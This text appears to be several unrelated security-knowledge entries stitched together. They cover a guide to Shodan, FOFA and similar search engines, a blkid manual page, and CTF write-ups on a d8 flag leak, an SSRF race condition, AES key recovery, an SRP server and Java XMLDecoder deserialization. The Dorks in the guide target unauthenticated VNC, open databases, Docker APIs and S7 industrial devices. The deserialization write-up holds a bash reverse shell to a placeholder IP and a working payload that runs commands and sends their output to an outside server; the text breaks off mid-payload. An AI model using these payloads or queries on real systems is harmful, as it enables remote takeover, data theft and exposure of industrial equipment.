inurl:dtm.html intitle:1747-L552 inurl:dtm.html intitle:1747-L551 inurl:home.htm intitle:1766 ``` **CSE** > Google Custom Search(自定义搜索)是基于谷歌的核心搜索技术,对你的搜索引擎进行很多定制 - TikTok : https://cse.google.com/cse?cx=011444696387487602669:aqf7d9w73om - IFTT : https://cse.google.com/cse?cx=000501358716561852263:xzfiqchwcj8 - Google Album archives : https://cse.google.com/cse?cx=006205189065513216365:vp0ly0owiou - Social media : https://cse.google.com/cse?cx=016621447308871563343:0p9cd3f8p-k - LinkedIn : https://cse.google.com/cse?cx=000470283453218169915:hcrzdwsiwrc - Online bookmark sites : https://cse.google.com/cse?cx=005797772976587943970:3tu7im1-rdg - Forums : https://cse.google.com/cse?cx=002396771074467716933:gkp6fzl_dv0 --- ## Shodan <p align="center"> <img src="../../../../assets/img/logo/shodan.png" width="35%"> </p> > Shodan 是目前最为知名的黑客搜索引擎,它是由计算机程序员约翰·马瑟利(John Matherly)于2009年推出的,他在2003年就提出了搜索与 Internet 链接的设备的想法。发展至今已经变成搜索资源最全,搜索性能最强的网络资产搜索引擎。简述下 shodan 的工作原理:通过其强大的爬虫能力每隔一定时间扫描全互联网设备并抓取相应的 banner 信息建立索引,通过这些巨大的数据,你基本可以找到任何你想象得到的连接到互联网的东西。 **官网** - https://www.shodan.io - https://beta.shodan.io/ - 和正式版数据量差别较大 > 搜索结果略不满意,会员实际较为鸡肋 > 无论付费用户还是免费用户,都可以使用shodan的搜索功能,只不过付费用户可以获得更多的搜索结果和导出、监控等更多高级功能。 **手册** - [shodan-manual](https://b404.gitbooks.io/shodan-manual/content/) - [Shodan Pentesting Guide](https://community.turgensec.com/shodan-pentesting-guide/) **相关文章** - [Shodan新手入坑指南](https://www.freebuf.com/sectool/121339.html) - [How to Discover MongoDB and Elasticsearch Open Databases](https://habr.com/en/post/443132/) - [Shodan新手入坑指南](https://www.freebuf.com/sectool/121339.html) - [shodan-manual](https://b404.gitbooks.io/shodan-manual/) - [Search Engine Improvements](https://blog.shodan.io/search-engine-improvements/) - [利用shodan搜索公网摄像头](https://mp.weixin.qq.com/s/Ccp2mZdluvlcGKxnC4mTmQ) **搜索语法合集** - [jakejarvis/awesome-shodan-queries](https://github.com/jakejarvis/awesome-shodan-queries) **语法** - https://www.shodan.io/search/filters ```bash hostname: 搜索指定的主机或域名,例如 hostname:"google" port: 搜索指定的端口或服务,例如 port:"21" country: 搜索指定的国家,例如 country:"CN" city: 搜索指定的城市,例如 city:"Hefei" org: 搜索指定的组织或公司,例如 org:"google" isp: 搜索指定的 ISP 供应商,例如 isp:"China Telecom" product: 搜索指定的操作系统/软件/平台,例如 product:"Apache httpd" version: 搜索指定的软件版本,例如 version:"1.6.2" geo: 搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808" before/after: 搜索指定收录时间前后的数据,格式为 dd-mm-yy,例如 before:"11-11-15" net: 搜索指定的 IP 地址或子网,例如 net:"210.45.240.0/24" http.title: 搜索指定 title 的站点 http.html: 搜索页面包含指定内容的站点 ``` **例子** ```bash misc Server: uc-httpd 1.0.0 200 OK Country:"JP" h3c net:"61.191.146.0/24" country:US vuln:CVE-2014-0160 port:135,139,445 -hash:0 # 过滤一些主文本标题为空的搜索结果 Hikvision-Webs # 海康威视 http.title:"后台管理" database all:"mongodb server information" all:"metrics" # 开放 Mongodb 数据库 port:27017 -all:"partially" all:"fs.files" # 有点存货的 Mongodb 数据库 port:"9200" all:"elastic indices" # 开放 ElasticSearch 数据库 ftp 230 'anonymous@' login ok # 开放匿名ftp vnc port:5900 screenshot.label:loggedin # 无认证vnc rtsp port:554 has_screenshot:true # rtsp 未授权访问 docker port:"2375" country:"JP" Docker # docker-remote-api未授权 ICS module: s7 port:102 # S7设备 ``` **外部工具/脚本** - **Shodan cli** - [Shodan Command-Line Interface](https://cli.shodan.io/) - **浏览器插件** - [chrome插件](https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap) - [firefox插件](https://addons.mozilla.org/en-US/firefox/addon/shodan_io/) - **Metasploit** ```bash use auxiliary/gather/shodan_search set SHODAN_APIKEY ******************** set QUERY **** use auxiliary/gather/shodan_honeyscore # 蜜罐检测 set SHODAN_APIKEY ******************** set TARGET your_target Recon-ng keys add shodan_api ******************** use recon/domains-hosts/shodan_hostname show options set SOURCE google set LIMIT 1 ``` - Client API - [ns3777k/go-shodan](https://github.com/ns3777k/go-shodan) - Shodan API client - [shadowscatcher/shodan](https://github.com/shadowscatcher/shodan) - yet another Shodan.io client - **脚本** - [random-robbie/My-Shodan-Scripts](https://github.com/random-robbie/My-Shodan-Scripts) - [woj-ciech/LeakLooker](https://github.com/woj-ciech/LeakLooker) - 利用 shodan 寻找开放的数据库/服务 **其他功能** - [ICS Radar](https://ics-radar.shodan.io/) - ICS Radar 是 Shodan 的工业控制系统(ICS)设备的 3D 地图。 - [Honeypot score](https://honeyscore.shodan.io/) - 这个服务叫 Honeypot or not?,这个服务会把 Honeyscore 归属到一个 IP 地址上,也就是成为蜜罐的可能性。 - [Shodan 2000](https://2000.shodan.io/#/) - Sodan 2000 是一个类似 Tron 的界面,可以随机显示一个主机。 **icon 图标搜索** - [Weaponizing favicon.ico for BugBounties , OSINT and what not](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) - [Shodan的http.favicon.hash语法详解与使用技巧](https://www.cnblogs.com/miaodaren/p/9177379.html) --- ## BinaryEdge <p align="center"> <img src="../../../../assets/img/logo/binaryedge.png" width="15%"> </p> > BinaryEdge 是一家来自瑞士的公司提供的资产搜索引擎,其为企业提供网络安全,工程和数据科学解决方案的评估。它利用机器学习技术收集有关基础设施的信息,并将收集的数据与从提要中获得的数据相关联。功能包括通过将发现结果与安全工具结合后从联网设备和运行于它们的服务中提取数据来提供通知,警报和报告功能。 **官网** - https://www.binaryedge.io/ **语法** - https://docs.binaryedge.io/search/ ```bash ip # 目标 IP,例如 ip:“ 149.202.178.130/16” port # 端口,例如 port:80 country # 目标国家/地区,例如国家/地区:FR ASN # 目标的 AS 号,例如asn:1234 type # BinaryEdge 模块类型,例如类型:mongodb product # 所寻找的产品名称,例如产品:apache2 ipv6 # 过滤 ipv6 结果,例如 Ipv6:true 或 ipv6:false tag # 可用标签列表:docs.binaryedge.io/search/#available-tags ``` **例子** ```bash country:FR port:443 # SSL from a Specific Organization Name ip:"149.202.178.130/16" port:80 # CIDR 149.202.178.130/16 and Port 80 "Example Org" type:ssl # France with Port 443 product:"Dropbear sshd" # Product Dropbear sshd ``` --- ## Censys <p align="center"> <img src="../../../../assets/img/logo/censys.png" width="25%"> </p> > Censys 搜索引擎能够扫描整个互联网,Censys 每天都会扫描 IPv4 地址空间,以搜索所有联网设备并收集相关的信息,并返回一份有关资源(如设备、网站和证书)配置和部署信息的总体报告。 **官网** - https://www.censys.io **例子** ```bash 23.0.0.0/8 or 8.8.8.0/24 # 可以使用 and or not 80.http.get.status_code: 200 # 指定状态 80.http.get.status_code:[200 TO 300] # 200-300之间的状态码 location.country_code: DE # 国家 protocols: ("23/telnet" or "21/ftp") # 协议 tags: scada # 标签 80.http.get.headers.server:nginx # 服务器类型版本 autonomous_system.description: University # 系统描述 ``` **同类搜索引擎** - [Spyse](https://spyse.com/search/cert) - 扫描完整的数字证书数据库,获取 TLS 和 SSL 证书的相关数据。 - [crt.sh](https://crt.sh/) - 证书搜索 - [Google Transparency Report](https://transparencyreport.google.com/https/certificates) - Google监控的证书透明日志 --- ## Zoomeye <p align="center"> <img src="../../../../assets/img/logo/zoomeye.png" width="25%"> </p> > ZoomEye 是北京知道创宇公司发布的网络空间侦测引擎,积累了丰富的网络扫描与组件识别经验。在此网络空间侦测引擎的基础上,结合“知道创宇”漏洞发现检测技术和大数据情报分析能力,研制出网络空间雷达系统,为政府、企事业及军工单位客户建设全球网络空间测绘提供技术支持及产品支撑。 **官网** - https://www.zoomeye.org/ **相关工具** - [knownsec/ZoomEye-python](https://github.com/knownsec/ZoomEye-python) - [gyyyy/ZoomEye-go](https://github.com/gyyyy/ZoomEye-go) **语法** ```bash 指定搜索的组件: app:组件名称 ver:组件版本 例:搜索 apache组件版本2.4:app:apache var:2.4 指定搜素的端口: port:22 指定搜索的操作系统: OS:Linux 指定搜索的服务: service:服务名称 例:service:SSH 指定搜索的地理位置范围: country:国家名 city:城市名 指定搜索的CIDR网段: cidr:网段 例:CIDR:192.168.158.12/24 指定网站域名进行搜索: Site:网站域名 例:site:www.baidu.com 指定主机名: Hostname:主机名 例:hostname:zwl.cuit.edu.cn 指定设备名: device:设备名 例:device:router 指定首页关键词: keyword:关键词 例:keyword:technology ``` **例子** ```bash city:tokyo + app:weblogic port:102 +app:"Siemens S7 PLC" "<title>信息中心 /</title>" ``` **ZoomEye工控专题** - https://www.zoomeye.org/topic?id=ics_project --- ## FoFa <p align="center"> <img src="../../../../assets/img/logo/fofa.png" width="30%"> </p> > FOFA 是白帽汇推出的一款网络空间搜索引擎,它通过进行网络空间测绘,能够帮助研究人员或者企业迅速进行网络资产匹配,例如进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等。 **官网** - https://fofa.so **相关文章** - [工具的使用 | 网络空间搜索引擎Fofa的简单使用](https://mp.weixin.qq.com/s/2uLSOZHvIX_KLTwpp9sGfA) - [如何成为一个合格的FOFA工程师](https://mp.weixin.qq.com/s/96Ea-dKxtAAYYZsu9kGLQg) **相关工具** - [FishM4n/Fofa-collect](https://github.com/FishM4n/Fofa-collect) - [wgpsec/fofa_viewer](https://github.com/wgpsec/fofa_viewer) - [Becivells/iconhash](https://github.com/Becivells/iconhash) - fofa shodan favicon.ico hash icon ico 计算器 **语法** ```bash title="abc" # 从标题中搜索 abc.例:标题中有北京的网站. header="abc" # 从 http 头中搜索abc.例:jboss服务器. body="abc" # 从 html 正文中搜索abc.例:正文包含Hacked by. domain="qq.com" # 搜索根域名带有qq.com的网站.例: 根域名是qq.com的网站. host=".gov.cn" # 从 url 中搜索.gov.cn,注意搜索要用host作为名称. port="443" # 查找对应 443 端口的资产.例: 查找对应443端口的资产. ip="1.1.1.1" # 从ip中搜索包含 1.1.1.1 的网站,注意搜索要用ip作为名称. protocol="https" # 搜索制定协议类型(在开启端口扫描的情况下有效).例: 查询https协议资产. city="Beijing" # 搜索指定城市的资产.例: 搜索指定城市的资产. region="Zhejiang" # 搜索指定行政区的资产.例: 搜索指定行政区的资产. country="CN" # 搜索指定国家(编码)的资产.例: 搜索指定国家(编码)的资产. cert="google.com" # 搜索证书(https或者imaps等)中带有google.com的资产. icon_hash="-xxxx" # 搜索使用此icon的资产。 ``` **例子** ```bash title="powered by" && title!=discuz title!="powered by" && body=discuz (body="content=\"WordPress" || (header="X-Pingback" && header="/xmlrpc.php" && body="/wp-includes/") ) && host="gov.cn" app="Solr" && title=="Solr Admin" # 找 solr 服务 app="Coremail" && country=CN # 查找使用 coremail 并且在中国境内的网站 title="管理后台" || title="登录后台" # 查找 title 中含有管理后台或者登录后台的网站 port=”102″ && protocol==”s7″ # 找 S7comm设备 ``` --- ## Dnsdb <p align="center"> <img src="../../../../assets/img/logo/dnsdb.png" width="30%"> </p> > 这是一个搜索全网络所有 DNS 服务器的搜索引擎。 **官网** - https://www.dnsdb.io/ **语法** ```markdown DnsDB 查询语法结构为条件1 条件2 条件3 …., 每个条件以空格间隔, DnsDB 会把满足所有查询条件的结果返回给用户. 域名查询条件 查询语法为 `domain:.` 域名查询是指查询顶级私有域名所有的 DNS 记录, 例如查询 google.com 的所有 DNS 记录: `domain:google.com.` 域名查询可以省略 domain:. 主机查询条件 查询语法:`host:` 例如查询主机地址为 mp3.example.com 的 DNS 记录:`host:map3.example.com` 主机查询条件与域名查询查询条件的区别在于, 主机查询匹配的是 DNS 记录的 Host 值 按 DNS 记录类型查询 查询语法: `type:.` 例如只查询 A 记录: `type:a` 使用条件 : 必须存在 domain: 或者 host: 条件,才可以使用 type: 查询语法 按 IP 限制 查询语法: `ip:` 查询指定 IP: `ip:8.8.8.8` 该查询与直接输入 8.8.8.8 进行查询等效 查询指定 IP 范围: `ip:8.8.8.8-8.8.255.255` CIDR: `ip:8.8.0.0/24` IP 最大范围限制 65536 个 ``` **例子** 查询 google.com 的所有 A 记录: `google.com type:a` --- ## 知风 <p align="center"> <img src="../../../../assets/img/logo/zhifen.png" width="15%"> </p> > “知风”提出了一种互联网联网工控资产自动化分析方式,基于分析结果将可真正帮助用户了解目前接入互联网的工控资产是何企业所属,接入时间,系统名称等。利用“知风”积累的企业和系统数据,您使用“知风”时只需输入企业简称或系统简称,即可了解目标系统企业和系统是否有工控资产联网情况,借助“知风”您也可以了解您的企业、系统是否存在遭受互联网攻击的可能。 **官网** - https://zhifeng.io/monitor --- ## ONYPHE <p align="center"> <img src="../../../../assets/img/logo/ONYPHE.png" width="5%"> </p> > 很像Shodan,但除了扫描之外,它还可以从被动DNS查询、威胁列表查询和粘贴网站查询中抓取数据。不过免费版比起Shodan来说,它的局限性更大。 **官网** - https://www.onyphe.io/ --- ## GreyNoise <p align="center"> <img src="../../../../assets/img/logo/greynoise.png" width="15%"> </p> > 类似 shodan **官网** - https://viz.greynoise.io/ --- ## Thingful <p align="center"> <img src="../../../../assets/img/logo/thingful.png" width="20%"> </p> > 仅针对物联网的搜索引擎 **官网** - https://www.thingful.net/ --- ## LeakIX <p align="center"> <img src="../../../../assets/img/logo/LeakIX.jpg" width="35%"> </p> > 针对信息泄露的搜索引擎 **官网** - https://leakix.net/ --- ## spyse - https://spyse.com/ --- ## quake - https://quake.360.cn/quake/#/index **相关文章** - [巧用Quake发现代理](https://mp.weixin.qq.com/s/cmfc_whg9AZMuWsb0uqy-Q) - [如何用quake搜索到台湾的大屏资产](https://mp.weixin.qq.com/s/dAzos_TlLfEWAJQeSEf3xQ) - [一些内部未公开的小蜜蜜](https://mp.weixin.qq.com/s/afG0YRGG7DuY1IDzNbD6Zw) --- ## netlas - https://app.netlas.io/ --- ## HUNTER - https://hunter.qianxin.com/ --- ## 零零信安 - https://0.zone/
sec-knowleage
blkid === 查看块设备的文件系统类型、LABEL、UUID等信息 ## 补充说明 在Linux下可以使用 **blkid命令** 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。 ### 语法 ```shell blkid -L | -U blkid [-c ] [-ghlLv] [-o] [-s ][-t ] -[w ] [ ...] blkid -p [-s ] [-O ] [-S ][-o] ... blkid -i [-s ] [-o] ... ``` ### 选项 ```shell -c <file> # 指定cache文件(default: /etc/blkid.tab, /dev/null = none) -d # don't encode non-printing characters -h # 显示帮助信息 -g # garbage collect the blkid cache -o <format> # 指定输出格式 -k # list all known filesystems/RAIDs and exit -s <tag> # 显示指定信息,默认显示所有信息 -t <token> # find device with a specific token (NAME=value pair) -l # look up only first device with token specified by -t -L <label> # convert LABEL to device name -U <uuid> # convert UUID to device name -v # 显示版本信息 -w <file> # write cache to different file (/dev/null = no write) <dev> # specify device(s) to probe (default: all devices) Low-level probing options: -p # low-level superblocks probing (bypass cache) -i # gather information about I/O limits -S <size> # overwrite device size -O <offset> # probe at the given offset -u <list> # filter by "usage" (e.g. -u filesystem,raid) -n <list> # filter by filesystem type (e.g. -n vfat,ext3) ``` ### 实例 1、列出当前系统中所有已挂载文件系统的类型: ```shell sudo blkid ``` 2、显示指定设备 UUID: ```shell sudo blkid -s UUID /dev/sda5 ``` 3、显示所有设备 UUID: ```shell sudo blkid -s UUID ``` 4、显示指定设备 LABEL: ```shell sudo blkid -s LABEL /dev/sda5 ``` 5、显示所有设备 LABEL: ```shell sudo blkid -s LABEL ``` 6、显示所有设备文件系统: ```shell sudo blkid -s TYPE ``` 7、显示所有设备: ```shell sudo blkid -o device ``` 8、以列表方式查看详细信息: ```shell sudo blkid -o list ```
sec-knowleage
# Nativity Scene (pwn, 312+21 pts, 8 solved) We can use `import` function to leak content of the flag file "/app/flag" as follows: ``` $ nc 35.246.66.119 1337 Solve PoW with: hashcash -mqb28 uuqmslhq 1:28:200510:uuqmslhq::HvH8Kkm9q+NTtm1D:000000005eIoq ******IMPORTANT****** Read the description on the website. ******IMPORTANT****** Please submit your exploit and then a line containing "EOF". Your script will be written to a file and invoked via `/app/d8 --allow-natives-syntax input.js` import("/app/flag"); EOF /app/flag:1: SyntaxError: Unexpected token '{' SaF{https://www.youtube.com/watch?v=bUx9yPS4ExY} ^ SyntaxError: Unexpected token '{' ``` The above does not depend on any _runtime functions_ that are enabled with `--allow-natives-syntax`, so I believe it is not the intended solution.
sec-knowleage
# rms, Web / Pwning, 365p > Difficulty: medium (13 solvers) > > I generally do not connect to web sites from my own machine, aside from a few sites I have some special relationship with. I usually fetch web pages from other sites by sending mail to a program that fetches them, much like wget, and then mails them back to me. > ~ Richard Stallman > > Flag is at http://127.0.0.1:8000/flag In this task we are given a binary and IP running this service. When connected, we can ask it to connect to any HTTP domain and port, and get the response - localhost, where flag is hosted, is filtered though. The binary uses `gethostbyname2` function to resolve domains, which is not thread safe - and the app uses multiple threads to queue the requests. The lack of thread safety comes from the fact that there is only one single global variable for the results. Every time you call `gethostbyname2` the returned pointer points to the same memory location. This means any time you call this function it will overwrite the previous results! The important function to look at is `fetch`: ```c uVar2 = htons(local_11c); phVar4 = gethostbyname2(local_118,10); lVar7 = 0x10; puVar8 = &local_98; while (lVar7 != 0) { lVar7 = lVar7 + -1; *puVar8 = 0; puVar8 = puVar8 + (ulong)bVar9 * 0x1ffffffffffffffe + 1; } if (phVar4 != (hostent *)0x0) { if (phVar4->h_addrtype != 10) { /* WARNING: Subroutine does not return */ __assert_fail("hent6->h_addrtype == AF_INET6","task/main.c",0x95,"fetch"); } local_98 = 10; uStack136 = *(undefined8 *)(*phVar4->h_addr_list + 1); uStack144 = *(undefined8 *)*phVar4->h_addr_list; uStack150 = uVar2; iVar3 = memcmp(&uStack144,in6addr_loopback,0x10); if ((iVar3 == 0) || ((char)uStack144 == 0)) { local_b0 = "localhost not allowed"; goto LAB_00101de7; } } phVar5 = gethostbyname2(local_118,2); if (phVar5 != (hostent *)0x0) { if (phVar5->h_addrtype != 2) { /* WARNING: Subroutine does not return */ __assert_fail("hent4->h_addrtype == AF_INET","task/main.c",0xa0,"fetch"); } if ((**phVar5->h_addr_list == 0x7f) || (**phVar5->h_addr_list == 0)) { local_b0 = "localhost not allowed"; goto LAB_00101de7; } } if ((phVar4 != (hostent *)0x0) && (cVar1 = make_request(&local_98,0x80,local_118,local_108,&local_b0,&local_a8), cVar1 !=0)) goto LAB_00101e07; if (phVar5 == (hostent *)0x0) { piVar6 = __h_errno_location(); local_b0 = hstrerror(*piVar6); } else { local_98 = 2; uStack148 = *(undefined4 *)*phVar5->h_addr_list; uStack150 = uVar2; cVar1 = make_request(&local_98,0x80,local_118,local_108,&local_b0,&local_a8); if (cVar1 != 0) goto LAB_00101e07; } ``` The flow for each thread is as follows: 1. Use `gethostbyname2` on given domain asking for IPv6 address. If we got response and it is in fact IPv6 then check if it's not localhost and fail if it is. 2. Use `gethostbyname2` on given domain asking for IPv4 address. If we got response and it is in fact IPv4 then check if it's not localhost and fail if it is. 3. If address check for IPv6 succeeded then make request to returned address. 4. If the request to IPv6 failed then check the result from IPv4 address check. 5. If IPv4 check succeeded then make IPv4 request to the returned address. This creates a race condition between the threads, because they will overwrite the results of `gethostbyname2`. Initially we were trying to win the race after `if ((**phVar5->h_addr_list == 0x7f) || (**phVar5->h_addr_list == 0))` with one thread passing this condition and another thread requesting localhost, before the first thread reaches `make_request` call. However, this proved to be difficult to actually trigger. Fortunately one of our players noticed an easier way to do this, with a nice synchronized approach. He noticed that we can block one of the threads on the request, and thus give the necessary time for the second thread to request localhost, and overwrite the data, before the first thread moves further to making IPv4 request. The idea is: * Thread 1: request http://foo.com:8000/flag (where this domain record has IPv6 and IPv4 non localhost address) wait for it to connect through IPv6 * Thread 2: request http://localhost:8000/flag, and fail * Thread 1: IPv6 times out or does not connect, connects to IPv4 which is overwritten by thread 1 to point to localhost. The connection timeout was set to 10s, so we have plenty of time before the first thread fails the IPv6 connection and proceeds to make IPv4 request. Once we do this in the results of Thread 1 we have the flag: `DrgnS{e9759caf4f2d2b69773c}`
sec-knowleage
from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib from a2s import A2S, bytes2matrix, matrix2bytes, inv_mix_columns, xor_bytes, inv_shift_rows, shift_rows from uuid import uuid4 from itertools import product #key = uuid4().bytes key = bytes.fromhex('7fc44782223349df83a16ceed8895a5c') cipher = A2S(key) #print(b''.join(cipher._key_matrices[1]).hex()) plaintexts = list(map(bytes.fromhex, [ '0573e60e862b4c46bdc5fcea1d0316ea', '2dd6d234bfe14fb0a0c4786b3891698d', '533698ece7db47df82413aba5f4f0cfb'])) ciphertexts = list(map(bytes.fromhex, ['42352473eeb42625210217a339dbc69f', 'b14c9d2d835c725e13598907a5b89165', 'f96b99b82fe4543150604d20e8cd5fda'])) #ciphertexts = list(map(lambda x: cipher.encrypt_block(x)[0], plaintexts)) def shift(st): mat = bytes2matrix(st) shift_rows(mat) return matrix2bytes(mat) def unshift(st): mat = bytes2matrix(st) inv_shift_rows(mat) return matrix2bytes(mat) def unmix(st): mat = bytes2matrix(st) inv_mix_columns(mat) inv_shift_rows(mat) return matrix2bytes(mat) pre_delta1 = shift(xor_bytes(plaintexts[0], plaintexts[1])) pre_delta2 = shift(xor_bytes(plaintexts[0], plaintexts[2])) post_delta1 = xor_bytes(unmix(ciphertexts[0]), unmix(ciphertexts[1])) post_delta2 = xor_bytes(unmix(ciphertexts[0]), unmix(ciphertexts[2])) print(pre_delta1.hex()) print(pre_delta2.hex()) print(post_delta1.hex()) print(post_delta2.hex()) #print(cipher.encrypt_block(plaintexts[0])[2].hex()) output = """ 067c20d3 1f473b29 -------- 8a151475 d441a30c -------- 34a72235 d4eb9f89 -------- 1e89501b a0227d5b 336f0e52 f669b656 """.split('--------\n') def options(s): return map(bytes.fromhex, s.strip().split()) for a in product(*map(options, output)): state = unshift(b''.join(a)) k = xor_bytes(plaintexts[0], state) c = A2S(k) if c.encrypt_block(plaintexts[0])[0] == ciphertexts[0]: print(k.hex()) sha1 = hashlib.sha1() sha1.update(str(k).encode('ascii')) new_key = sha1.digest()[:16] iv = bytes.fromhex('35a84c9bf33d40e8bfab6e7e62209b49') encrypted_flag = bytes.fromhex('ef14d5f8f4f51b34fb251bacf309e0c4386c33021903528b475d232a401aeeb49e23b3bc2a416b386590ae0d5580cbfebce4a40ed563f664f28d1cfa8e4cde02bfe077b1ef583bf2850cf0ac764182e7') cipher = AES.new(new_key, AES.MODE_CBC, IV=iv) print(unpad(cipher.decrypt(encrypted_flag), 16)) #c1, pre1 = cipher.encrypt_block(plaintexts[0]) #c2, pre2 = cipher.encrypt_block(plaintexts[1]) # #print(xor_bytes(pre1, pre2).hex()) #print(xor_bytes(unmix(c1), unmix(c2)).hex()) # sub_bytes(plain_state) # mix_columns(plain_state) # add_round_key(plain_state, self._key_matrices[1]) # sub_bytes(plain_state)
sec-knowleage
#/usr/bin/env python from Crypto.Random import random, atfork from Crypto.Hash import SHA256 from database import import_permitted_users import SocketServer,threading,os,time msg = """Welcome to the Tonnerre Authentication System!\n""" flag = "REDACTED" N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L permitted_users = {} # This should import the fields from the data into the dictionary. # the dictionary is indexed by username, and the data it contains are tuples # of (salt, verifier) as numbers. note that the database stores these in hex. import_permitted_users(permitted_users) def H(P): h = SHA256.new() h.update(P) return h.hexdigest() def tostr(A): return hex(A)[2:].strip('L') class incoming(SocketServer.BaseRequestHandler): def handle(self): atfork() req = self.request req.sendall(msg) username = req.recv(512)[:-1] if username not in permitted_users: req.sendall('Sorry, not permitted.\n') req.close() return public_client = int(req.recv(512).strip('\n'), 16) % N c = (public_client * permitted_users[username][1]) % N if c in [N-g, N-1, 0, 1, g]: req.sendall('Sorry, not permitted.\n') req.close() return random_server = random.randint(2, N-3) public_server = pow(g, random_server, N) residue = (public_server + permitted_users[username][1]) % N req.sendall(tostr(permitted_users[username][0]) + '\n') req.sendall(tostr(residue) + '\n') session_secret = (public_client * permitted_users[username][1]) % N session_secret = pow(session_secret, random_server, N) session_key = H(tostr(session_secret)) proof = req.recv(512).strip('\n') if (proof != H(tostr(residue) + session_key)): req.sendall('Sorry, not permitted.\n') req.close() return our_verifier = H(tostr(public_client) + session_key) req.sendall(our_verifier + '\n') req.sendall('Congratulations! The flag is ' + flag + '\n') req.close() class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): pass SocketServer.TCPServer.allow_reuse_address = True server = ReusableTCPServer(("0.0.0.0", 8561), incoming) server.timeout = 60 server.serve_forever()
sec-knowleage
## Sign server (Web, 100p) Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature. ### PL [ENG](#eng-version) W zadaniu dostępna jest strona, która generuje podpis dla wybranego przez nas pliku, oraz pozwala na weryfikacje takiego podpisu. Istotny fakt jest taki, że pliki z podpisem wyglądają tak: ```xml <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CTFSignature" id="CTFSignature0"> <void class="models.CTFSignature" method="getField"> <string>hash</string> <void method="set"> <object idref="CTFSignature0"/> <string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string> </void> </void> <void class="models.CTFSignature" method="getField"> <string>sig</string> <void method="set"> <object idref="CTFSignature0"/> <string>12a626d7c85bcc21d9f35302e33914104d8329a0</string> </void> </void> </object> </java> ``` Można więc zauważyć, że serialiazcja obiektu z podpisem, oraz zapewne deserializacja wykorzystaują klasy XMLEncoder i XMLDecoder. Występuje tu podatność podobna do Pythonowego Pickle - deserializacja jest w stanie wykonywać praktycznie dowolny kod, o ile plik zostanie odpowiednio przygotowany. Możemy na przykład utworzyć dowolny obiekt używając tagu `<object>` a następnie podając parametry konstruktora, na przykład: ```xml <object class = "java.io.PrintWriter"> <string>reverse.sh</string> </object> ``` Wykona `new PrintWriter("reverse.sh");` Możemy też wykonywać dowolne metody na takim obiekcie za pomocą tagów `<method>` oraz `<void>` i tak na przykład: ```xml <object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <string>bash -i >& /dev/tcp/1.2.3.4/1234 0>&1</string> </method> <method name = "close"/> </object> ``` Wykona kod: ```java PrintWriter p = new PrintWriter("reverse.sh"); p.write("bash -i >& /dev/tcp/1.2.3.4/1234 0>&1"); p.close(); ``` tym samym tworząc na serwerze plik z podaną zawartością. Możemy także nadawać "id" tworzonym obiektom i używać ich jako parametrów dla innych obiektów. ```xml <void class="java.lang.String" id="someString"> <string>some data</string> </void> <object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <object idref="someString"/> </method> <method name = "close"/> </object> ``` Mając takie możliwości przygotowaliśmy exploita który pozwalał nam na wykonanie dowolnego kodu na zdalnej maszynie, a wynik przekazywał jako parametr GET wysłany po http do naszego serwera: ```xml <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <void class="java.lang.String" id="command" method="valueOf"> <object class="java.lang.StringBuilder" id="builder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"> <void index="0"> <string>cat</string> </void> <void index="1"> <string>/etc/passwd</string> </void> </array> <void method="start" id="process"> <void method="getInputStream" id="stream" /> </void> <void class="java.io.BufferedReader" id="bufferedReader"> <object class="java.io.InputStreamReader"> <object idref="stream"/> </object> <void method="lines" id="lines"> <void method="collect" id="collected"> <object class="java.util.stream.Collectors" method="joining"> <string> </string> </object> </void> </void> </void> </void> <void method="append"> <string>http://our.server.net/exp/</string> </void> <void method="append"> <object idref="collected"/> </void> </object> </void> <object class="java.net.URL"> <object idref="command"/> <void method="openStream"/> </object> </java> ``` Dzięki temu mogliśmy użyć komendy `find` aby znaleźć plik `flag` a potem wypisać go przez `cat` i uzyskać `flag{ser1l1azati0n_in_CTF_is_fUN}` ### ENG version In the task there is a webpage which generates a signature for a selected file, and lets us verify the signature. It is important to notice that signature files are: ```xml <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CTFSignature" id="CTFSignature0"> <void class="models.CTFSignature" method="getField"> <string>hash</string> <void method="set"> <object idref="CTFSignature0"/> <string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string> </void> </void> <void class="models.CTFSignature" method="getField"> <string>sig</string> <void method="set"> <object idref="CTFSignature0"/> <string>12a626d7c85bcc21d9f35302e33914104d8329a0</string> </void> </void> </object> </java> ``` And therefore the signature object serialization, and probably deserialization, is handled by XMLEncoder and XMLDecoder. They have the same type of vulnerability as Python Pickle - deserialization can execute any code as long as the input file is properly prepared. For example we can create any object using `<object>` tag and then pass the constructor arguments to it, eg: ```xml <object class = "java.io.PrintWriter"> <string>reverse.sh</string> </object> ``` Will execute `new PrintWriter("reverse.sh");` We can also call any methods on such objects using `<method>` and `<void>` tags, and therefore: ```xml <object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <string>bash -i >& /dev/tcp/1.2.3.4/1234 0>&1</string> </method> <method name = "close"/> </object> ``` Will execute code: ```java PrintWriter p = new PrintWriter("reverse.sh"); p.write("bash -i >& 